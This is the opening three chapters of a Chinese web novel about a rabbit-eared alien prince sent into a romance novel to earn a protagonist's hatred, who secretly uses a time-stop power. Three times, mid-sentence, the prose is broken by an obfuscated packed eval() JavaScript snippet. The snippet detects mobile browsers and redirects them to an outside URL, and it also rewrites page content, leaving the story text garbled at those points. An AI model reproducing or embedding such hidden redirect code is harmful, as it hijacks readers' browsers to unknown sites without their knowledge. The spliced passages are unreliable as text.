《他怎么还不恨我?》 1. 夹住! [喂喂!嘶噗嘶!快醒醒啊!] 谭欢额头剧痛,眼前一片漆黑,漆黑里又飘起五颜六色的光,一道焦急的声音不停在他脑海里吵闹。 他隐约记得他因从父母那里得知自己被剥夺了王位争夺权,太过生气,双腿用力跳起,又因他正好处于兔子血脉期,跳得太高,收势不及时,一头撞到房檐,晕了过去。 [别吵了。]谭欢要睁眼。 那道声音又大喊:[别别!先别睁眼!听我说完!] [你是谁?什么物种?为什么能在我脑袋里说话!]谭欢没有轻举妄动,先尝试在脑海中询问。 [物种?我是系统啦!穿书系统!你穿书啦!我绑定了你,你现在是我的宿主,只要你完成任务,我就可以帮你实现一个愿望!你想要什么?变美?变富有?拥有超能力?让我先来扫描一下你的身体,看看你缺什么——] 叽叽喳喳的系统卡壳一瞬,音量陡然拔高:[怎么回事?你不是人!你是兔子精?不对不对,不只是兔子精……人鱼、天使、狐狸、&%#*¥……宿主!你到底是个啥?] 谭欢早已习惯别人对他血脉的惊讶,但忍不住反驳:[你才不是人,我不只是人而已!] [我不缺钱,也不需要变美,更不想要什么超能力,你离开我的身体,我不想做什么任务……]谭欢没说完,被系统打断。 [咦,扫描到宿主来自高维世界-圣星……是圣星最小的王子,刚被剥夺了王位争夺权……宿主,只要你完成任务,我可以帮你在你的世界里夺得王位。] 谭欢一扫之前的兴趣缺缺,情绪激动,问:[真的?] [当然啦!我统大强从来不说谎话!]系统拍着不存在的胸脯。 [统大强?] [嗷,我的名字,你可以叫我大强哥……不过这些现在不重要,重要的是你正处于一次紧急情况中,你睁眼后需要立刻解决眼前的难题。] [什么难题?]谭欢问。 他闭着眼睛躺着,能感觉到身下一片坚硬冰冷,有强烈的视线落在他身上,他身边应该有人正在看着他。 [你穿越的这本书叫《爱恨欲之纠缠螺旋》,你的身份是书中的恶毒男配,你爱慕主角攻周洛辰,同时嫉妒憎恨主角受迟与非,你的任务就是成为主角受迟与非人生中的绊脚石,破坏迟与非和周洛辰的感情,让迟与非对你恨之入骨,等迟与非对你的恨意值达到100%就算完成任务啦!]系统讲解。 与此同时,谭欢脑海里浮现出一个目前为0%的进度条,前面写着恨意值三个字。 [《爱恨欲之纠缠螺旋》?主角攻、主角受?男同小说?]谭欢念着拗口的书名。 [是呀是呀,宿主,难道你恐同咩?恐同可就不好办了呐。] [没有。]谭欢想到了他的哥哥,他有三个哥哥,与他驳杂的血脉不同,他的三个哥哥都随他母亲的血脉,是纯粹的爱欲天使,因爱欲天使的属性影响,他三个哥哥也都是纯正的恋爱脑,其中两个都是同性恋。 [那就好那就好,哎呀,现在不是说这些的时候,宿主你听好嗷,你当前的处境有点糟糕,你来偷听周洛辰和迟与非的谈话,结果被突然打开的门撞到了头,倒在地上晕倒了,此时主角攻受就站在你旁边低头看着你,你醒来后要想好怎么处理,要是能顺便刷一下主角受的恨意值就更好啦!毕竟早点完成任务,我才能早点帮你夺得王位嘛!]系统说。 [不就是讨人嫌吗?我擅长!]谭欢一听到夺得王位就干劲满满。 冰冷的瓷砖地板上,额头红了一片的漂亮青年卷长睫毛轻颤,明明晕倒了,不知因何白皙的脸颊浮起一片激动的薄红,很是惹眼。 青年缓缓睁开了眼睛。 光亮映入眼中,乍然的视野恢复让谭欢有些不适,他撑着地板坐起来,仰头看站在面前的两个男人。 站在他左边的男人戴着无框眼镜,举手投足间充满斯文气息,五官帅气,气质温柔,正有些担忧地看着他。 站在他右边的男人斜倚着门框,也在垂眸看他,他一侧刘海有点长,挡着半边额头和眉毛,相貌比左边的男人更显俊美无俦,挑不出丝毫缺点,虽唇边噙着一抹笑,却显出几分阴郁虚假。 谭欢家没有丑人,他们家族的人个顶个都美艳绝伦,饶是从小泡在美人堆里长大,自觉已经对美貌免疫的谭欢,在看到右边男人的长相时也忍不住视线多停留了几秒。 要不是这里是普通人类世界,他都要怀疑这个男人是不是也有点非人类血脉在身上了。 谭欢左右看看,两个男人的个子都很高,左边这个目测超过了180,右边这个已经直逼190了!右边的男人比左边的高,按照定律,高个子是攻! 谭欢从地上爬起来,脑袋里回想着他几个哥哥闹分手求复合时天崩地裂的样子,使劲眨了眨眼睛,力求让自己的眼睛看起来红一点,扑向了右边的男人。 “洛辰!他撞我头!他好坏啊!” 眼看着谭欢的头就要撞进右边男人怀里,那一侧刘海有点长的阴郁男人唇边笑意不减,步子却往后退了一大步,躲开了。 同时系统在谭欢脑海里疯狂尖叫:[错了错了!那是主角受迟与非!左边那个才是攻!] 谭欢紧急刹车,双腿绷直,上身前倾,维持着这个尴尬的姿势,腰间灵活扭动,冒着扭到腰的风险,硬是把脑袋重新撞进周洛辰胸口。 这一下急转弯太突兀,撞得周洛辰一口气差点没提上来。 “咳——小欢,你误会与非了,开门的人是我。”周洛辰有些尴尬。 “啊?”谭欢站直,看到周洛辰笑得有点无奈,而退回办公室里的迟与非正似笑非笑地看着他。 系统在谭欢脑海里疯狂打鸣:[危险危险危险!千万不能让主角受小看宿主!谁会憎恨一个自己看不上的对手呢?宿主加油啊!想想王位!王位!] 王位! 谭欢面色一变,打起鸡血! 一切都是为了王位! 他微微垂眸,五官明媚动人,桃花眼、小翘鼻,双唇更是天然粉润,白皙额头上一片红痕,楚楚可怜。 情况紧急,系统正趁机在谭欢脑袋里给他补充穿书知识,比如他虽然穿书了,但是是肉身穿书,原书中的恶毒男配一角只是一个高级AI虚影,并非活人,谭欢来后AI自然已经撤走。 所以谭欢的血脉也跟了过来,这就是他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075399|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的身体。 “我相信洛辰一定不是故意撞我的,我……”谭欢绞尽脑汁想对话,努力扮演一个恶毒男配,突然觉得头顶和尾椎骨泛起一阵麻痒。 麻痒伴随着灼热感,他心道不好,他的兔耳朵和兔尾巴要冒出来了! 他是多血脉混血,几种血脉在他的身体里打架,分不出强弱,他活了20年仍旧不能自如控制自己的血脉,近几年几种血脉堪堪维持一种诡异的和谐,每种血脉交替显化,显化时间大概维持在三十天。 谭欢穿书之前,正是兔子精血脉显化期间,穿书导致他的兔耳朵和兔尾巴短暂收了起来,但他还做不到藏起自己的血脉特征,所以刚醒来一会儿,兔耳朵和兔尾巴就要冒出来。 谭欢惊慌失措,余光看到办公室内的椅背上搭着一件西装外套。 这时他尾椎骨一颤,一团毛茸茸的兔尾巴冒了出来,将他的裤子后面顶出一个包。 谭欢猛地站直身体,用力夹紧屁股,夹住兔尾巴,扭捏地走进办公室,走过周洛辰和迟与非。 他姿势太古怪,周洛辰微微皱眉:“小欢,你怎么了?” 迟与非在谭欢走近时又退了一步,和他拉开距离。 谭欢顾不上这些,他小碎步走过去,一把扯过那件西装外套,甩开罩在头上,还不忘将两只袖子在下巴处打结固定。 刚做完这一切,头顶的兔耳朵就冒了出来,被西装外套牢牢压在里面,藏得严严实实。 谭欢这才有时间为自己的怪异行为打补丁。 他转身,悄悄看一眼远远退开的迟与非,说着乱七八糟的借口: “那个……天太冷,我头有点凉,找个东西裹裹,洛辰,我借你外套用用。” 说着谭欢又紧了紧袖子打的结,生怕外套掉下去。 西装外套裹在他的头上,他能闻到一股很淡的好闻味道,像雪天干净的空气,凉凉的很清新,他忍不住偷偷闻了好几下。 闻完又有些心虚,悄悄抬头,却撞入一双深黑的眸中。 迟与非仍在看着他,笑意却不达眼底。 谭欢的兔耳朵和兔尾巴上的茸毛全都炸开了,他的小动物天性在告诉他有危险! 只是一本恋爱小说的主角受,为什么会给他这么大的危机感? 谭欢慌忙收回视线,夹着屁股走出办公室,跟周洛辰告别,他要快点找个安全的地方,和脑袋里的系统好好盘盘具体情况。 “洛辰,我有事先走了。” 周洛辰没说话,谭欢忍不住看了他一眼,发现他神情颇为纠结。 他在纠结什么?算了不管了,之后再说! 这里是周洛辰的办公室,谭欢走向电梯,没走几步,迟与非慢悠悠从办公室里走出来,声音冷淡:“你拿的是我的外套。” 已经看到电梯门的谭欢脚步踉跄,重重跪在地上,夹紧的屁股肉一松,兔尾巴被释放出来,重新将裤子后面顶出一个鼓包。 首战失败!他不仅错拿主角受的外套裹头,偷闻外套还被主角受发现了! 更糟糕的是!他夹不住了! 迟与非走过去,弯腰看谭欢。 “你不是撞到头了?屁股怎么肿了?” 2. 时间暂停 谭欢护着头上包裹的衣服,听到迟与非的话又立刻提气夹紧屁股肉,重新将兔尾巴夹住。 原书中的谭欢是恶毒男配、矫情绿茶,穿衣风格也偏风骚,紧身牛仔裤将他的臀形清晰刻画,挺翘圆润的屁股中间突出来的鼓包瞬间消失得非常显眼。 迟与非唇边弧度微勾,笑得有些讽刺。 谭欢顾不得迟与非的神情,他想爬起来,膝盖特别痛,又趴了回去,脸颊上的红已经比额头的撞痕还要红了,他再次咬牙爬起来,不忘放个狠话挽回一下自己恶毒男配的形象。 “怎么?你对我锻炼超棒的臀大肌有意见?” 谭欢放完狠话已经夹着屁股跑去电梯了,完全不想听迟与非会说什么,总归不是什么好话! 他一边狂按电梯一边回头,唯一值得庆幸的是因迟与非走了过来,挡住了周洛辰的视线,周洛辰没看到谭欢屁股后面鼓包的盛况。 迟与非站直身体,看着谭欢慌张冲进电梯,唇上的笑淡了些,周洛辰走过来,问道:“小欢怎么了?” 迟与非却问了周洛辰一个问题,“你觉得什么东西能夹在屁股中间收放自如?” 周洛辰愣了一下,面色瞬间十分尴尬,“肛……塞?” 迟与非瞥了他一眼,那一眼让周洛辰觉得自己是不是太污了,居然脱口而出这种东西。 “是臀大肌。”迟与非说。 周洛辰:“谁家臀大肌长两屁股中间的?” 迟与非不打算解释,又道:“他倒是喜欢你,带着这种东西来见你。” 周洛辰满头问号,从头到尾都没听懂,却见自家好友仍似笑非笑,眸子里却幽深吓人。 “也惹人生厌。”迟与非淡淡说完最后一句。 周洛辰与迟与非交好数年,他认识的迟与非是一个将礼数教养刻在骨子里的人,也是一个将虚伪面具牢牢黏在脸上的人,他还是第一次听到迟与非如此直白地表达出对一个人的厌恶。 看来迟与非是真的很厌恶谭欢了。 另一边,谭欢出了电梯,跑出周洛辰的公司,在脑海里系统的指点下叫了车,直奔他在书中世界的家。 路上,谭欢一直在脑海里和系统交谈。 谭欢第一时间查看恨意值的进度条,发现仍旧是0%后有点泄气。 [我刚才不惹人嫌吗?他怎么不恨我?] 系统附和:[就是说啊,我觉得挺烦人的,可能是太笨了,主角受觉得没必要恨吧?] 为了用力夹紧兔尾巴,本来坐得歪歪扭扭的谭欢猛地坐直,将自己的桃花眼瞪得圆圆的,在脑海里和系统辩驳。 [笨?我才不笨,不许说我笨!] 谭欢有一双桃花眼,淡淡看着别人的时候会给人一种莫测难辨的精明假象,此时他把自己的桃花眼瞪圆了,暴露出了纯然本性。 被说笨是谭欢的逆鳞,他从小就被家人说笨,他驳杂的血脉给他自己,给家人,给身边其他人都惹过不少麻烦,大家都会说他笨,也因此,谭欢连争夺王位的资格都没有。 [啊啊啊,不笨不笨,宿主不要生气嘛!给你大强哥我一个面子,就当我说错话了!] [你今天危急情况处理得非常好!只是因为血脉问题出了点岔子没办法继续惹人嫌,不然我相信迟与非的恨意值一定会涨的!] 谭欢被顺毛,又缩回车座里,“嗯嗯嗯”地点着头。 [下个剧情是什么?我一定完美完成!刷他一大截恨意值!] [下次剧情不急,我们先回家,梳理一下现在的情况!]系统道。 车子停在一处高档小区,谭欢下车,在保安的问好声中夹着屁股小碎步冲了进去。 原谭欢住的是一间三百多平的大平层,不算顶奢,但因位置繁华,价格也是天文数字。 谭欢开门进屋,确认门关好了,这才扯下西装外套,露出一对又白又茸的兔耳朵。 兔耳朵被压得久了,毛毛有点乱,内侧的皮肤闷得通红。 系统在谭欢脑海里大惊小怪,谭欢奇怪地问: [你没见过非人类血脉吗?难道这是你第一次出任务?] 系统立刻否认,因语气太急,显得很心虚: [什么第一次出任务啊!怎么可能!别小看你大强哥我啊,我可是身经百战的系统啊!我只是没见过人类以外的物种而已嘛!] [哦。]谭欢没发觉系统的心虚,他正在衣柜里翻找,将几条新内裤和新裤子的后面都剪开一个洞,穿上后刚好能让他的兔尾巴从洞里钻出来。 谭欢站在镜子前,撅着屁股看了看自己后面的兔尾巴,一个白团子在屁股后面左右晃晃,不被束缚的感觉格外舒服,谭欢长长出了一口气。 “可憋死我了。” 系统因为心虚,正在谭欢脑袋里不停叭叭,不断给他讲关于主角攻、主角受的信息。 [周洛辰这个人没什么好说的,就是一个温柔系主角攻,家境好又聪明,一路顺风顺水没遭遇什么坎坷,很好糊弄。] [需要格外注意的是我们的任务目标迟与非,他可是个超级大变态啊!] “大变态?”谭欢正用一把小梳子梳自己兔耳朵和兔尾巴上的毛,闻言有些惊讶。 [和周洛辰顺风顺水的人生不同,迟与非幼年丧母,母亲孝期没过,他父亲就已经领了小老婆进门,紧接着又把迟与非扔到国外,进行了一系列非常可怕的精英教育。] “精英教育?”谭欢作为一颗星球的王子,自然知道精英教育,但他们谭家向来不信奉这些东西,谭家父母更喜欢自家孩子野蛮生长。 [重点来了啊!]系统继续絮絮叨叨。 [说是精英教育,但本统觉得那该称为变态教育才对!迟与非那个变态父亲除了给他安排密集的课程外,还要求他每晚睡在地下室的笼子里。] 谭欢手里的小梳子掉了,“怎么可以把小孩子关到笼子里?” [哪里是关着那么简单,关着迟与非的小笼子外套着一个巨大的笼子,大笼子里全是饥饿眼红的野兽,那些野兽不停地扑咬关着迟与非的小笼子,每一只都凶神恶煞地想把迟与非吃掉。] 谭欢皱起眉,他很难想象一个小孩子夜夜在这样的环境里怎么睡觉。 [这还不算完,迟父还会将一些活牲畜扔进去,让迟与非看着那些野兽撕咬争抢牲畜,大笼子里到处都是血腥、内脏和碎肉骨渣。] [直到有一次,别墅进了贼,几个倒霉蛋摸进地下室,被一群野兽当场扑倒分食,年幼的迟与非想帮他们,可惜大笼子和小笼子都是特殊材质打造,迟与非出不去,那些人也挤不进来,等第二天被人发现时,里面已经被血染红了,迟与非满身满脸的血,身上还挂着几只死死抓着他的断手,只剩手了,身子都被吃没了,书里说那次以后迟与非有将近一年没有说话。] 谭欢听得入神,系统停下来了,他还要催促。 系统观察着谭欢的神情,警告道:[宿主,虽然迟与非的经历很凄惨,但你千万不要同情他,不要对他产生任何感情,你要时刻记住我们是来做任务的,我们要刷迟与非对你的恨意值,迟与非这个人非常危险,不仅是他的父亲这么对待他,他的母亲也很有问题,迟与非整个人就是个大悲剧,所以……当他对你的恨意值越高,你就越危险。] 谭欢沉默了一会儿,才问道:“他的母亲……对他做了什么?” 系统也沉默了,沉默到谭欢以为系统掉线了,系统才十分尴尬地出声。 [那个啊……那个……] “那个?”谭欢重复。 [我那个啥,我现在内存不足,只保存了《爱恨欲之纠缠螺旋》这本书的上半册,而迟与非母亲的事情在下半册里,要等你把迟与非的恨意值刷到一定数值,我才能升级内存,得到下半册的内容。] 谭欢瞠目结舌:“一本书能占多大内存啊?系统,你真的是身经百战的系统吗?你没有骗我吧?” 系统的声音陡然拔高:[我当然身经百战啦!我可是我们同届里面最优秀的系统!是因为我们每次做完任务,内存都会格式化才会这样的!这在我们系统里面叫作居安思危!这样才能对任务时时刻刻保持热情!] 系统的声音太大了,谭欢拍了拍自己的脑袋,“系统,你好吵。” 系统的声音瞬间减小:[总之,你一定要注意安全,迟父对迟与非的变态教育可不止这些,地下室里除了那些野兽,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075400|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有其他什么,而迟与非在长大后,也在自己家里打造了一个地下室,听说那个地下室十分危险,有进无出,宿主,你可千万别被迟与非抓到地下室里去啊!] [还有啊,迟与非这个人还有个禁忌,他左边挡着额头、眉毛的刘海是他的逆鳞,虽然我现在没有下半册的内容,但据我推测,刘海藏着的可能是个伤疤,和他的母亲有关,宿主,你千万别去掀迟与非的刘海。] 谭欢反问,“那我要是掀了,会不会恨意值直接达到100%?瞬间完成任务?” 系统哑然,完全没想到这个角度,它思考了一下,认真回答:[按照已有剧情,恨意值达到100%是不可能的,小命没了的可能性倒是100%。] “呿。”谭欢撇嘴,翻出手机噼里啪啦地敲屏幕。 系统深感欣慰:[宿主,你是在记笔记吗?] 谭欢摇头:“不是啊,我饿了,我订外卖。” 系统偷看谭欢手机,又开始感动,“你还订了我的份啊?不用啦,我不用吃饭的。” “你想多了,这是我自己要吃的。” 系统:[……] 一个合格的系统具备快速黏好自己破碎小心脏的能力,系统再次扫描谭欢的身体,继续办公事。 [宿主,我之前扫描你的身体发现你具备一项特殊能力,但我无法探查具体详情。] “哦,”谭欢轻描淡写,“是时间暂停。” [哦,宿主,你是我第一个遇到的拥有特殊能力的宿主,如果在做任务时将特殊能力运用得当,可以大幅度降低任务难度……等等,你说你会什么?时间暂停???!!] 谭欢一脸坦然,“是啊,谭家人都拥有一个独属于自己的特殊能力,因谭家纯血脉都是爱欲天使,这项能力大多与爱欲有关,没什么大的作用。” [与爱欲有关?]系统歪了下频道。 [宿主,可以问下你三个哥哥的特殊能力都是什么吗?] 谭欢想到三个哥哥的能力,这才有点不好意思,随便说了一下:“比如我大哥,他的能力是……金枪不倒……” 系统:[O0O] 谭欢:“不要把眼睛和嘴巴张成三个圆啊。” 系统:[那宿主,你的能力似乎和爱欲没什么关系啊?] 谭欢面色黯然下去,“我血脉驳杂嘛,所以才没资格争夺王位,而且我的能力……在我自己的世界里根本用不了,它只能在比我的世界低维的世界里使用,并且有时间限制。” “按照我现在的水平,我大概只能维持十分钟左右的时间暂停。” 系统:[那也很厉害了!宿主!可不可以现在就用一下让我看看!] 系统的期待和大惊小怪让谭欢有点小自豪,他还没这么被别人期待过呢。 “等我吃饱了就给你看!我吃饱了才有力气使用能力!” 外卖很快到了,系统再次用它瞪成三个圆圈的眼睛嘴巴看着谭欢吃掉了超多的食物,然后看谭欢一脸雄赳赳气昂昂地站了起来。 谭欢甩了甩自己的兔耳朵,正步走到露台,突然惊喜叫道: “系统!下雪了!” 夜色里,洁白的雪花飘飘摇摇地洒下来,像一片片柔软的小羽毛。 系统应声:[嗷,这还是这个世界今年的第一场雪呢!宿主,你很喜欢雪吗?] 谭欢重重点头,“嗯!圣星很少下雪。” 他伸手,看着细小的雪花飘落在他的掌心,很快被掌心的温度融化。 谭欢仰头,看着高悬的明月,打了个响指。 明艳漂亮的青年黑色的眸子里闪过透亮的红,红色从边缘入侵,直到整颗眼珠都变成了红色,那是一双像小兔子一样好看的红眸。 红眸里映着的雪花停止飞舞,定格在天空中,遥远的钟楼指针不再转动,一切喧嚣消失,世界变成了一幅静止的初雪画像。 谭欢倾身,看着漫天雪花,忍不住赞叹:“好漂亮啊。” 另一边,迟与非从地下室出来,走出黑暗的楼梯,侧头随意瞥了眼窗外。 他脚步顿住,黑眸定定地看着悬停在半空中的雪花。 迟与非的世界从此刻开始不同。 3. 托谭欢的福 迟与非住在一处独栋别墅,他打开窗户,抓了把窗外悬停在半空中的雪花,细小的雪花很快在掌心融化。 他盯着掌心的几点雪水,干脆走出别墅。 夜空下,漫天细雪停滞在空中,如迷蒙雪雾,整个世界没有一丝声音,静得迟与非能听见自己的呼吸和心跳。 他拿出手机盯着屏幕,时间不再走动,数字没有任何变化。他尝试拨出几个号码,无一例外全都拨不出去。 迟与非终于确定时间在这一刻被暂停了,他像被遗忘在时间的缝隙里。 十分钟过后,雪花继续飘落,世界恢复喧嚣,分针向前走动一格,一切恢复如常。 迟与非走进书房,在记事本上写下今天的日期和时间,然后冷静地搜索网络,没有搜到任何与这十分钟时间暂停有关的消息,这成为迟与非人生里无数秘密之一。 另一边,谭欢意犹未尽地从露台回到屋内,系统正在他的脑海里疯狂吹彩虹屁。 [宿主!你真的太厉害啦!你是我遇到过的宿主里面最厉害的!有你和我这个同样最厉害的系统配合,我们一定能够打遍天下无敌手,飞快完成任务!] “嗯嗯嗯!你说得对,说得太对了!”谭欢很喜欢被人夸,他疯狂点头,头顶的兔耳朵跟着摇晃,身后一团软绵绵的兔尾巴也左摇右摆,一只兔子高兴得像只小狗。 [既然这样,明天的第一个正式任务,我就不担心了!]系统顺势说道。 “什么任务?是要去刷迟与非的恨意值了吗?”谭欢很兴奋很激动很有干劲。 [宿主别急,刷恨意值的任务还在后面,明天是一个巩固宿主恶毒男配人设的任务,简言之就是去拉拉其他角色的仇恨值啦。] “嗷,好吧,支线任务啊,快说说。”谭欢一听只是支线任务有些失望,但干劲还是在的。 [在书中,你是谭家老夫妻的老来得子,很受宠爱,自小被惯坏了,嚣张跋扈,跟身边人的关系都不好,特别是比你大20岁的谭家大哥一家。] [谭家老夫妻年龄大了,已经去国外养老了,走时本来要带你一起去的,但你因为周洛辰的原因不愿意去,谭家老夫妻只好让谭大哥多照顾你,还让你去公司上班,但你是恶毒男配,好吃懒做,自然是不愿意去上班的。] [谭家老夫妻虽然溺爱你,但也清楚你的德行,便让谭家大哥管着你的花销,明天是谭家大哥家里一对龙凤胎的生日,你本来从不参与这些,但你没钱了,你要去要钱,所以借此由头去参加了生日会。] “我懂了,明天需要我去生日宴会上讨人厌呗。”谭欢一脸了然。 [嗯嗯嗯,要自然清新不做作的当一个恶毒男配,千万不能OOC啊!]系统道。 谭欢甩了甩兔耳朵,“我懂我懂,看我的吧。” 第二天,谭欢戴上一顶挺时尚的小帽子藏住兔耳朵,穿着长款外套,里面搭配掐腰能遮住屁股的衬衫和紧身牛仔裤出门了,他要先去挑生日礼物。 原谭欢的穿衣风格就是这样的,衣柜里大多是些骚里骚气的衣服,谭欢为了不OOC也不好换风格,他只能从里面找出长度足够遮挡屁股后面鼓包的衣服,那里面藏着他的兔尾巴。 谭大哥家的龙凤胎才七岁,谭欢对他们不了解,也不知道他们喜欢什么,干脆买了两台最新版的游戏机,又买了两只巨大毛绒兔,打算一人送一台游戏机和一只毛绒兔。 结果系统在谭欢的脑海里“滴滴”警报。 [宿主宿主!你这样不行哒,是会OOC哒,你是要去讨人嫌哒!] 谭欢愣住,看着手里拎着的生日礼物,想了想跑去给两台游戏机贴了一层保护膜,保护膜黑乎乎的,上面印满了恐怖片里披头散发的女鬼,又去把两只毛绒兔换成两只巨型大便玩偶,这才十分满意地点点头,迈着自信的步伐走出了商场。 [系统啊,我这礼物挑得不错吧!不会OOC吧?] 系统迟疑:[额……] 谭欢带着他十分满意的生日礼物去了谭大哥家,一进门就看到谭家人望过来的脸,个个神色不好,看来他们之间的关系真的很紧张。 谭大哥家里有三个孩子,大儿子和一对龙凤胎,此时三个孩子站在一起,都绷紧小脸盯着他,像在看什么洪水猛兽,谭大嫂站在自家孩子身后,虽然脸色也不太好,但仍推了推几个孩子,催促道:“快叫人。” 三个孩子撇嘴,齐声道:“小叔叔好。” 谭欢递上自己的礼物,让他们拆。 谭大哥和谭大嫂还有其他人要招待,见这边没什么问题就先走开了。 谭欢期待地看着两个小孩拆礼物,他们先拆开了大便玩偶,面上齐齐露出恶心的表情,扔下玩偶,又拆开了游戏机的包装。 这回两个小孩都吓到了,纷纷惊叫一声扔开游戏机。 谭欢对这个反应很满意,觉得自己恶毒男配的人设又深刻了。 这时龙凤胎里的男孩谭星气愤地跑上来用力踢谭欢的小腿,一边踢一边骂:“小叔叔是大傻子!是王八蛋!小叔叔最烦人了!我讨厌小叔叔!” 谭欢皱了下眉,弯腰凑到谭星面前,认真说:“小孩子不可以骂人。” 谭星才不管,越踢越用力,越骂越脏,谭欢虽是家族里的笨蛋,但他自小的教养和礼仪都是好的,他见谭星不听话,便悄悄将黑眸变成兔子红眸,故意阴恻恻地说: “你要是再说脏话,我就吃了你!” 谭星亲眼看到谭欢的眼睛变红,吓呆了,张嘴号啕大哭。 谭欢没想到谭星这么容易哭,立刻站直,一脸我什么都没干的慌张样子。 谭大嫂听到自家孩子的哭声,立刻跑过来将谭星扯进怀里,厌恶地瞪向谭欢。 谭大哥也走了过来,他倒是没对谭欢说什么重话,只是叹了口气,“谭欢,你跟我来书房。” 谭欢只好跟着谭大哥去书房,他没忘他这次来是要钱的,系统说他卡里已经没多少钱了,原谭欢又没工作,不要钱他就要吃不上饭了。 书房里隔音很好,谭大哥关上门,挡住外面的喧闹,招呼谭欢坐在沙发上,语重心长道:“小欢,你也二十了,不是小孩了,做事稳重一点。” 谭欢一和长辈说话就下意识正襟危坐,紧接着想起他现在的身份是恶毒男配,就往沙发里靠了靠,跷起二郎腿,这样仍觉得不够恶毒,又冷哼一声。 “哼。” 谭大哥:“……” 谭欢立刻伸手,扬起脖颈,一副不可一世的样子,“我钱花完了,给我钱。” 谭大哥的面色肉眼可见变得不好看,语气严厉:“上个月刚给你打了一百万,这就花完了?” 谭欢脑海里惊叫原谭欢这么能花钱,一边晃了晃手掌,“再来一百万!” 谭大哥沉默良久,又叹了口气。 “小欢,先来陪大哥下盘棋。” 谭大哥一指茶几上的象棋,谭欢的世界里也有象棋,但他不会。 系统道:[宿主别怕,以你的恶毒草包人设,你输很正常,你本来就该输的。] 你本来就该输的。 谭欢眉头一皱,深埋心底的胜负欲被勾了出来。 [可是系统,我不想输啊。] 系统不解:[可是宿主,你会下象棋吗?] 谭欢:[不会。] 系统:[那?] 谭欢看着那盘象棋,对谭大哥道:“大哥,我要是赢了你,给我三百万。” 谭大哥自然清楚谭欢的斤两,便道:“输了你就去国外陪爸妈一个月。” 系统尖叫:[宿主!不能答应啊啊啊!去国外一个月还怎么做任务!怎么刷迟与非的恨意值!] 谭欢无视系统的尖叫,用力点头,“好啊,来吧,大哥先下。” 谭大哥也不客气,当下执红棋先走一步。 系统刚想用自己粗浅的技术水平帮谭欢出招,就见谭欢翘起嘴角,露出一抹狡黠的笑。 再看,谭大哥保持着刚收回手的姿势,坐在沙发上一动不动,连眼睛都不眨一下。 系统震惊:[宿主!你暂停了时间?] 谭欢慢悠悠地拿出手机,下载了一个下象棋的APP,选择与电脑对弈后,自己选了红棋,按照谭大哥刚刚走的位置,在APP里移动棋子。 电脑立刻下了下一步。 谭欢记住位置,手机揣兜,卷长眼睫轻眨,谭大哥动了一下,恢复正常。 谭欢按着棋子,快速移动了位置。 谭大哥愣了一下,看了一眼一脸自信的谭欢,跟着走了下一步棋。 紧接着系统就看到谭欢故技重施,暂停时间、用APP复刻棋局,恢复时间,下棋。 系统又开始吹彩虹屁了:[不愧是宿主!原来这个暂停时间还可以这么使用!] 谭欢笑得更欢快了:[那当然啦!不要小瞧我啊!] 在谭欢开始快乐下棋前的二十分钟,迟与非在美好的周末结束了一轮令人烦躁的视频会议,走进他家的家庭影院,准备看个电影放松一下。 他倒好红酒,坐进沙发,挑选好一部超R级的血腥暴力电影,点击了播放。 开始一切都好,无聊的前置剧情结束,主角拿着杀猪刀追上了一直欺辱他的人,一刀要砍断那人的手臂。 迟与非饮了一口红酒,酒液滑进喉咙,黯淡光线下他双眸幽深,唇角微勾,正等待着刺激血腥的一幕时,巨大屏幕上的画面不动了。 “卡了?”迟与非拿起遥控器,按下快进,画面仍旧不动。 他又按了几下快退,还是没用。 他眉心微拧,心中烦躁刚刚冒头,卡住的画面恢复正常,电影主角一刀下去,坏人手臂断裂,伴随环绕室内的惨叫声,鲜血四溅。 迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075401|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与非放下遥控器,眉头松开,又饮了一口酒,心情慢慢恢复平静。 不到两分钟,画面又不动了。 迟与非再次拿起遥控器,依旧怎么按都没用,他微眯双眸,想到了什么,拿出手机,发现时间果然不动了,不是电影卡顿,是这个世界被暂停了。 上次下雪时的时间暂停本以为只是一次罕见奇遇,没想到奇遇再次出现,还是以这种惹人烦的方式出现,迟与非盯着手机上的时间,在时间恢复走动后,电影画面也恢复正常。 迟与非放下手机,短短两分钟内时间已经被暂停了两次,应该不会有第三次了,这种世所罕见的怪异现象,怎么可能会如此频繁地出现? 他放心地又喝下一口酒,画面里的主角终于砍掉了坏人的另一只手。 惨叫声宛如最优美的乐曲,迟与非身体微微放松,看到主角高高扬起杀猪刀,正要砍断坏人的左腿。 刀锋迟迟没有落下。 迟与非握着酒杯的手紧了几分,薄唇微勾,笑意阴郁。 他死死盯着大屏幕,片刻后,那把杀猪刀终于砍下了坏人的左腿。 